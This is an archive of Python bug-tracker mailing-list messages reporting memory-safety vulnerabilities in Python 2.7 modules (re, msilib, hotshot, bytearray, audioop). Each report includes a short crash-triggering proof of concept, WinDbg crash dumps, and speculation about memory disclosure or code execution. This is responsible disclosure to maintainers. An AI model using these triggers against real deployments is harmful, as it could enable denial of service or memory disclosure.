[issue24602] SRE_SEARCH Integer Underflow
JohnLeitch added the comment: Attaching repro. -- Added file: http://bugs.python.org/file39889/SRE_SEARCH_Integer_Underflow.py ___ Python tracker <http://bugs.python.org/issue24602> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24602] SRE_SEARCH Integer Underflow
JohnLeitch added the comment: Attaching proposed patch for unit tests to cover this issue. -- Added file: http://bugs.python.org/file39888/test_re.py.patch ___ Python tracker <http://bugs.python.org/issue24602> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24602] SRE_SEARCH Integer Underflow
New submission from JohnLeitch: The Python 2.7 regular expression module suffers from an integer underflow in the SRE_SEARCH function of _sre.c, which leads to a buffer over-read condition. The issue is caused by unchecked subtraction performed while handling SR_OP_INFO blocks: if (pattern[0] == SRE_OP_INFO) { /* optimization info block */ /* <1=skip> <2=flags> <3=min> <4=max> <5=prefix info> */ flags = pattern[2]; if (pattern[3] > 1) { /* adjust end point (but make sure we leave at least one character in there, so literal search will work) */ end -= pattern[3]-1; <<<< Pattern[3] is a potentially untrusted value controllable via regex. if (end <= ptr) <<<< A check is performed end is less than or equal to ptr (which is still start at this point), but no check is performed to determine if end has been underflowed to a value greater than ptr. end = ptr+1; } [...] } A script that demonstrates control of Pattern[3] is as follows: import re re.search(r"\b((A){304665458})",u"A") When the script is executed, the min quantifier value ends up in pattern[3] of an SRE_OP_INFO block. The value underflows end, resulting in a large number that satisfies the existing validation. In cases where the regular expression is exposed as attack surface, it may be possible to exploit this vulnerability to scan and read arbitrary memory. This could then potentially be used to disclose secrets and/or bypass mitigations such as ASLR/DEP. An exception produced by this condition is as follows: 0:000> !analyze -v -nodb *** * * *Exception Analysis * * * *** FAULTING_IP: python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369] 1e010dd7 0fb746femovzx eax,word ptr [esi-2] EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 1e010dd7 (python27!sre_uat+0x00b7) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: 01e0f000 Attempt to read from address 01e0f000 CONTEXT: -- (.cxr 0x0;r) eax=01d38518 ebx=0027f8b0 ecx=0027f8b0 edx=01d23eb4 esi=01e0f002 edi=01d3851a eip=1e010dd7 esp=0027f82c ebp=01f2b010 iopl=0 nv up ei pl nz ac po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212 python27!sre_uat+0xb7: 1e010dd7 0fb746femovzx eax,word ptr [esi-2] ds:002b:01e0f000= FAULTING_THREAD: 0518 DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: EXCEPTION_PARAMETER2: 01e0f000 READ_ADDRESS: 01e0f000 FOLLOWUP_IP: python27!sre_uat+b7 [c:\build27\cpython\modules\_sre.c @ 369] 1e010dd7 0fb746femovzx eax,word ptr [esi-2] NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ LAST_CONTROL_TRANSFER: from 1e0115e8 to 1e010dd7 STACK_TEXT: 0027f834 1e0115e8 01d23eb4 0027f8b0 01e0f004 python27!sre_uat+0xb7 0027f85c 1e012882 01d23e78 01ddb9f0 python27!sre_umatch+0x178 0027f888 1e014995 01d23eb4 1e0148b0 01f3ea08 python27!sre_usearch+0x212 0027fc08 1e0aafeb 01d23e78 01ddb9f0 python27!pattern_search+0xe5 0027fc24 1e0edd10 01f3ea08 01ddb9f0 python27!PyCFunction_Call+0x5b 0027fc50 1e0f017a 0027fca8 01d9df98 0001 python27!call_function+0x2b0 0027fcc0 1e0f1150 01f49198 01dce030 python27!PyEval_EvalFrameEx+0x239a 0027fcf4 1e0ec862 01d9df98 01f49198 python27!PyEval_EvalCodeEx+0x690 0027fd30 1e0edd87 0027fdb4 0002 python27!fast_function+0xe2 0027fd5c 1e0f017a 0027fdb4 01d46b18 01d46b18 python27!call_function+0x327 0027fdcc 1e0f1150 01d74030 01d46b18 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 01d46b18 01d74030 01d4aa50 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a 01d46b18 01d4aa50 01d4aa50 python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 01e0a3b0 01d4aa50 01d4aa50 python27!run_mo
[issue24594] msilib.OpenDatabase Type Confusion
JohnLeitch added the comment: Attaching repro file. -- Added file: http://bugs.python.org/file39886/msilib.OpenDatabase_Type_Confusion.py ___ Python tracker <http://bugs.python.org/issue24594> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24594] msilib.OpenDatabase Type Confusion
New submission from JohnLeitch: The msilib.OpenDatabase method suffers from a type confusion vulnerability caused by the behavior of MsiOpenDatabase(), the underlying win32 function utilized. This is due to the unorthodox handling of the szPersist parameter: when an MSIDBOPEN_* value is passed, it is treated as a predefined persistence mode. However, when a larger value is passed, it is treated as a string pointer, which is used as the path to a new file. Because the Python method msilib.OpenDatabase passes its persist parameter through to MsiOpenDatabase, it may be possible for an attacker to trigger the type confusion bug should the seemingly innocuous persist parameter be exposed as attack surface. This could have a few consequences: 1) An attacker might be able to leverage this vulnerability to probe for valid addresses, which could then be used in another exploit to bypass ASLR/DEP. 2) An attacker might be able to leverage this vulnerability to dereference aribtrary values in memory, disclosing secrets. 3) An attacker may be able to spray memory with specially crafted string values, then leverage this vulnerability to pass one of the values as a persist string. Because this would lead to the creation of an MSI file in a location now controlled by the attacker, it could potentially be exploited to achieve remote code execution. A Python script that demonstrates the vulnerability is as follows: import msilib msilib.OpenDatabase("",0x41414141) And it produces the following exception: 0:000> r eax=41414141 ebx= ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi= eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!lstrlenA+0x1a: 757252aa 8a08mov cl,byte ptr [eax] ds:002b:41414141=?? 0:000> !analyze -v -nodb *** * * *Exception Analysis * * * *** FAULTING_IP: KERNELBASE!lstrlenA+1a 757252aa 8a08mov cl,byte ptr [eax] EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 757252aa (KERNELBASE!lstrlenA+0x001a) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: 41414141 Attempt to read from address 41414141 CONTEXT: -- (.cxr 0x0;r) eax=41414141 ebx= ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi= eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!lstrlenA+0x1a: 757252aa 8a08mov cl,byte ptr [eax] ds:002b:41414141=?? FAULTING_THREAD: 0d38 PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: msi!CApiConvertString::operator unsigned short const *+1b1d 622e1fa1 40 inc eax NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: INVALID_POINTER_READ_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 622e1fa1 to 757252aa STACK_TEXT: 0027f89c 622e1fa1 41414141 41414141 623e22d0 KERNELBASE!lstrlenA+0x1a 0027fcfc 1d162217 01c54334 41414141 0027fd10 msi!CApiConvertString::operator unsigned short const *+0x1b1d 0027fd18 1e0aafd7 01d86940 01d7ea08 _msi!msiopendb+0x37 0027fd30 1e0edd10 01d7ea08 01d86940 python27!PyCFunction_Call+0x47 0027fd5c 1e0f017a 0027fdb4 01c86b18 01c86b18 python27!call_function+0x2b0 0027fdcc 1e0f1150 01cb4030 01c86b18 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 01c86b18 01cb4030 01c8aa50 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a 01c86b18 01c8aa50 01c8aa50 python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 01d43a20 01c8aa50 01c8aa50 python27!run_mod+0x2a 0027fe64 1e118760 68e87408 003f2e93 0101 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 68e87408 003f2e93 0001 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 68e87408 003f2e93 0001 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d 0002 003f2e70 003f1940
[issue24481] hotspot pack_string Heap Buffer Overflow
New submission from JohnLeitch: The hotspot module suffer from a heap buffer overflow due to a memcpy in the pack_string function at line 633: static int pack_string(ProfilerObject *self, const char *s, Py_ssize_t len) { if (len + PISIZE + self->index >= BUFFERSIZE) { if (flush_data(self) < 0) return -1; } assert(len < INT_MAX); if (pack_packed_int(self, (int)len) < 0) return -1; memcpy(self->buffer + self->index, s, len); self->index += len; return 0; } The problem arises because const char *s is variable length, while ProfilerObject.buffer is fixed-length: typedef struct { PyObject_HEAD PyObject *filemap; PyObject *logfilename; Py_ssize_t index; unsigned char buffer[BUFFERSIZE]; FILE *logfp; int lineevents; int linetimings; int frametimings; /* size_t filled; */ int active; int next_fileno; hs_time prev_timeofday; } ProfilerObject; An overflow can be triggered by passing a large string to the Profile.addinfo method via the value parameter: from hotshot.stats import * x = hotshot.Profile("A", "A") x.addinfo("A", "A" * 0xfceb) Which produces the following exception: 0:000> r eax=0041 ebx=fceb ecx=3532 edx=0002 esi=075dcb35 edi=075d9000 eip=6c29af1c esp=0027fc78 ebp=0027fc80 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 MSVCR90!LeadUpVec+0x70: 6c29af1c f3a5rep movs dword ptr es:[edi],dword ptr [esi] 0:000> db edi-0x10 075d8ff0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075d9000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 075d9010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 075d9020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 075d9030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 075d9040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 075d9050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 075d9060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 0:000> db esi 075dcb35 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075dcb45 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075dcb55 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075dcb65 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075dcb75 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075dcb85 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075dcb95 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 075dcba5 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 0:000> !heap -p -a edi address 075d9000 found in _DPH_HEAP_ROOT @ 6ca1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 722809c: 75d67c8 2838 - 75d6000 4000 6c3194ec verifier!AVrfDebugPageHeapAllocate+0x023c 77a257b7 ntdll!RtlDebugAllocateHeap+0x003c 779c77ce ntdll!RtlpAllocateHeap+0x0004665a 77981134 ntdll!RtlAllocateHeap+0x014d 6c2c3db8 MSVCR90!malloc+0x0079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163] 1e0ae6d1 python27!PyObject_Malloc+0x0161 [c:\build27\cpython\objects\obmalloc.c @ 968] 0:000> !heap -p -a esi address 075dcb35 found in _DPH_HEAP_ROOT @ 6ca1000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 7228068: 75da300 fd00 - 75da00011000 6c3194ec verifier!AVrfDebugPageHeapAllocate+0x023c 77a257b7 ntdll!RtlDebugAllocateHeap+0x003c 779c77ce ntdll!RtlpAllocateHeap+0x0004665a 77981134 ntdll!RtlAllocateHeap+0x014d 6c2c3db8 MSVCR90!malloc+0x0079 [f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.c @ 163] 1e0ae6d1 python27!PyObject_Malloc+0x0161 [c:\build27\cpython\objects\obmalloc.c @ 968] 0:000> k4 ChildEBP RetAddr 0027fc80 1e008380 MSVCR90!LeadUpVec+0x70 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 289] 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634] 0027fca8 1e0089bb python27!pack_add_info+0x77 [c:\build27\cpython\modules\_hotshot.c @ 652] 0027fcc0 1e0aafd7 python27!profiler_addinfo+0x5b [c:\build27\cpython\modules\_hotshot.c @ 1020] 0:000> .frame 1 01 0027fc90 1e008407 python27!pack_string+0x40 [c:\build27\cpython\modules\_hotshot.c @ 634] 0:000> dV self = 0x075dcb35 s = 0x075da314 "AAA[...]AA..." len = 0n123572224 0:000> dt self Local var @ esi T
[issue24462] bytearray.find Buffer Over-read
JohnLeitch added the comment: Given my understanding of the issue, the memcmp approach seems like a viable fix. -- ___ Python tracker <http://bugs.python.org/issue24462> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24467] bytearray pop and remove Buffer Over-read
New submission from JohnLeitch: The bytearray pop and remove methods suffer from buffer over-reads caused by memmove use under the assumption that PyByteArrayObject ob_size is less than ob_alloc, leading to a single byte over-read. This condition can be triggered by creating a bytearray from a range of length 0x10, then calling pop with a valid index: bytearray(range(0x10)).pop(0) The result is a memmove that reads off the end of src: 0:000> r eax=071aeff0 ebx= ecx=071aeff1 edx=0010 esi=06ff80c8 edi=0010 eip=6234b315 esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0202 MSVCR90!memmove+0x5: 6234b315 8b750c mov esi,dword ptr [ebp+0Ch] ss:002b:0027fcac=071aeff1 0:000> dV dst = 0x071aeff0 "" src = 0x071aeff1 "???" count = 0x10 0:000> db poi(dst) 071aeff0 00 01 02 03 04 05 06 07-08 09 0a 0b 0c 0d 0e 0f 071af000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 0:000> db poi(src) 071aeff1 01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f ?? ...? 071af001 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af011 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af021 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af031 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af041 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af051 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071af061 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 0:000> g (1968.1a88): Access violation - code c005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0c0b0a09 ebx= ecx=0004 edx= esi=071aeff1 edi=071aeff0 eip=6234b468 esp=0027fc98 ebp=0027fca0 iopl=0 nv up ei ng nz ac pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 MSVCR90!UnwindUpVec+0x50: 6234b468 8b448efcmov eax,dword ptr [esi+ecx*4-4] ds:002b:071aeffd= 0:000> k ChildEBP RetAddr 0027fca0 1e0856aa MSVCR90!UnwindUpVec+0x50 [f:\dd\vctools\crt_bld\SELF_X86\crt\src\Intel\MEMCPY.ASM @ 322] 0027fcc0 1e0aafd7 python27!bytearray_pop+0x8a [c:\build27\cpython\objects\bytearrayobject.c @ 2378] 0027fcd8 1e0edd10 python27!PyCFunction_Call+0x47 [c:\build27\cpython\objects\methodobject.c @ 81] 0027fd04 1e0f017a python27!call_function+0x2b0 [c:\build27\cpython\python\ceval.c @ 4033] 0027fd74 1e0f1150 python27!PyEval_EvalFrameEx+0x239a [c:\build27\cpython\python\ceval.c @ 2682] 0027fda8 1e0f11b2 python27!PyEval_EvalCodeEx+0x690 [c:\build27\cpython\python\ceval.c @ 3265] 0027fdd4 1e11707a python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 672] 0027fdec 1e1181c5 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371] 0027fe0c 1e118760 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358] 0027fe4c 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950] 0027fe68 1e038d35 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753] 0027fee4 1d001017 python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643] 0027fef0 1d0011b6 pythonw!WinMain+0x17 [c:\build27\cpython\pc\winmain.c @ 15] 0027ff80 76477c04 pythonw!__tmainCRTStartup+0x140 [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 578] 0027ff94 7799ad1f KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7799acea ntdll!__RtlUserThreadStart+0x2f 0027ffec ntdll!_RtlUserThreadStart+0x1b If the over-read is allowed to succeed, a byte adjacent to the buffer is copied: 0:000> r eax=01d8e978 ebx= ecx= edx=003a esi=01dc80c8 edi=0010 eip=1e08569a esp=0027fd0c ebp=01d5aa10 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=0206 python27!bytearray_pop+0x7a: 1e08569a 8bd7mov edx,edi 0:000> dt self Local var @ 0x27fd20 Type PyByteArrayObject* 0x01dc80c8 +0x000 ob_refcnt: 0n2 +0x004 ob_type : 0x1e21a6d0 _typeobject +0x008 ob_size : 0n16 +0x00c ob_exports : 0n0 +0x010 ob_alloc : 0n16 +0x014 ob_bytes : 0x01d8e978 "" 0:000> db 0x01d8e978
[issue24462] bytearray.find Buffer Over-read
New submission from JohnLeitch: The bytearray.find method suffers from a buffer over-read that can be triggered by passing a string equal in length to the buffer. The result is a read off the end of the buffer, which could potentially be exploited to disclose the contents of adjacent memory. Repro: var_kcjtxvgr = bytearray([0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44,0x41,0x42,0x43,0x44]) var_kcjtxvgr.find("\x41" * 0x58) Exception: 0:000> r eax=0002 ebx=0058 ecx=071adf41 edx= esi=071f2264 edi=0057 eip=1e081cf9 esp=0027fc2c ebp=071ae000 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 python27!stringlib_find+0x169: 1e081cf9 0fbe0c2amovsx ecx,byte ptr [edx+ebp] ds:002b:071ae000=?? 0:000> dV str = 0x071adfa8 "ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD" str_len = 0n2 sub = 0x071f2264 "" sub_len = 0n88 offset = 0n0 0:000> db ebp-0x10 071adff0 41 42 43 44 41 42 43 44-41 42 43 44 41 42 43 44 ABCDABCDABCDABCD 071ae000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071ae010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071ae020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071ae030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071ae040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071ae050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 071ae060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? 0:000> !analyze -v -nodb *** * * *Exception Analysis * * * *** FAULTING_IP: python27!stringlib_find+169 [c:\build27\cpython\objects\stringlib\find.h @ 22] 1e081cf9 0fbe0c2amovsx ecx,byte ptr [edx+ebp] EXCEPTION_RECORD: -- (.exr 0x) ExceptionAddress: 1e081cf9 (python27!stringlib_find+0x0169) ExceptionCode: c005 (Access violation) ExceptionFlags: NumberParameters: 2 Parameter[0]: Parameter[1]: 071ae000 Attempt to read from address 071ae000 CONTEXT: -- (.cxr 0x0;r) eax=0002 ebx=0058 ecx=071adf41 edx= esi=071f2264 edi=0057 eip=1e081cf9 esp=0027fc2c ebp=071ae000 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 python27!stringlib_find+0x169: 1e081cf9 0fbe0c2amovsx ecx,byte ptr [edx+ebp] ds:002b:071ae000=?? FAULTING_THREAD: 1e90 DEFAULT_BUCKET_ID: INVALID_POINTER_READ PROCESS_NAME: pythonw.exe ERROR_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: EXCEPTION_PARAMETER2: 071ae000 READ_ADDRESS: 071ae000 FOLLOWUP_IP: python27!stringlib_find+169 [c:\build27\cpython\objects\stringlib\find.h @ 22] 1e081cf9 0fbe0c2amovsx ecx,byte ptr [edx+ebp] NTGLOBALFLAG: 200 APPLICATION_VERIFIER_FLAGS: 0 APP: pythonw.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ LAST_CONTROL_TRANSFER: from 1e081ee5 to 1e081cf9 STACK_TEXT: 0027fc48 1e081ee5 071adfa8 071f2264 0058 python27!stringlib_find+0x169 0027fc5c 1e083ac1 071adfa8 071f2264 0058 python27!stringlib_find_slice+0x35 0027fcb4 1e083b20 0001 1e083b10 1e0aafd7 python27!bytearray_find_internal+0x81 0027fcc0 1e0aafd7 070880c8 071d7a10 07086170 python27!bytearray_find+0x10 0027fcd8 1e0edd10 07086170 071d7a10 python27!PyCFunction_Call+0x47 0027fd04 1e0f017a 0027fd5c 06cc7c80 06cc7c80 python27!call_function+0x2b0 0027fd74 1e0f1150 07060d60 06cc7c80 python27!PyEval_EvalFrameEx+0x239a 0027fda8 1e0f11b2 06cc7c80 07060d60 06ccba50 python27!PyEval_EvalCodeEx+0x690 0027fdd4 1e11707a 06cc7c80 06ccba50 06ccba50 pytho
[issue24457] audioop.lin2adpcm Buffer Over-read
New submission from JohnLeitch: The audioop.lin2adpcm function suffers from a buffer over-read caused by unchecked access to stepsizeTable at line 1436 of Modules\audioop.c: } else if ( !PyArg_ParseTuple(state, "ii", &valpred, &index) ) return 0; step = stepsizeTable[index]; Because the index variable can be controlled via the third parameter of audioop.lin2adpcm, this behavior could potentially be exploited to disclose arbitrary memory, should an application expose the parameter to the attack surface. 0:000> r eax=0001 ebx=0001 ecx=2fd921bb edx=0002 esi=0001 edi=01e79160 eip=1e01c286 esp=0027fcdc ebp=df531970 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 python27!audioop_lin2adpcm+0xd6: 1e01c286 8b34adb0dd1f1e mov esi,dword ptr python27!stepsizeTable (1e1fddb0)[ebp*4] ss:002b:9b6c4370= 0:000> k ChildEBP RetAddr 0027fd18 1e0aafd7 python27!audioop_lin2adpcm+0xd6 0027fd30 1e0edd10 python27!PyCFunction_Call+0x47 0027fd5c 1e0f017a python27!call_function+0x2b0 0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 python27!run_mod+0x2a 0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d python27!Py_Main+0x965 0027ff80 76477c04 python!__tmainCRTStartup+0x10f 0027ff94 7799ad1f KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 7799acea ntdll!__RtlUserThreadStart+0x2f 0027ffec ntdll!_RtlUserThreadStart+0x1b 0:000> To fix this issue, it is recommended that bounds checking be performed prior to accessing stepsizeTable. -- files: audioop.lin2adpcm_buffer_over-read.py messages: 245408 nosy: JohnLeitch priority: normal severity: normal status: open title: audioop.lin2adpcm Buffer Over-read type: security versions: Python 2.7 Added file: http://bugs.python.org/file39713/audioop.lin2adpcm_buffer_over-read.py ___ Python tracker <http://bugs.python.org/issue24457> ___ ___ Python-bugs-list mailing list Unsubscribe: https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
[issue24456] audioop.adpcm2lin Buffer Over-read
New submission from JohnLeitch: The audioop.adpcm2lin function suffers from a buffer over-read caused by unchecked access to stepsizeTable at line 1545 of Modules\audioop.c: } else if ( !PyArg_ParseTuple(state, "ii", &valpred, &index) ) return 0; step = stepsizeTable[index]; Because the index variable can be controlled via the third parameter of audioop.adpcm2lin, this behavior could potentially be exploited to disclose arbitrary memory, should an application expose the parameter to the attack surface. 0:000> r eax=01f13474 ebx= ecx=0002 edx=01f13460 esi=01f13460 edi=0001 eip=1e01c4f0 esp=0027fcdc ebp=7e86ecdd iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 python27!audioop_adpcm2lin+0xe0: 1e01c4f0 8b04adb0dd1f1e mov eax,dword ptr python27!stepsizeTable (1e1fddb0)[ebp*4] ss:002b:183b9124= 0:000> k ChildEBP RetAddr 0027fd18 1e0aafd7 python27!audioop_adpcm2lin+0xe0 0027fd30 1e0edd10 python27!PyCFunction_Call+0x47 0027fd5c 1e0f017a python27!call_function+0x2b0 0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 python27!run_mod+0x2a 0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d python27!Py_Main+0x965 0027ff80 76477c04 python!__tmainCRTStartup+0x10f 0027ff94 7799ad1f 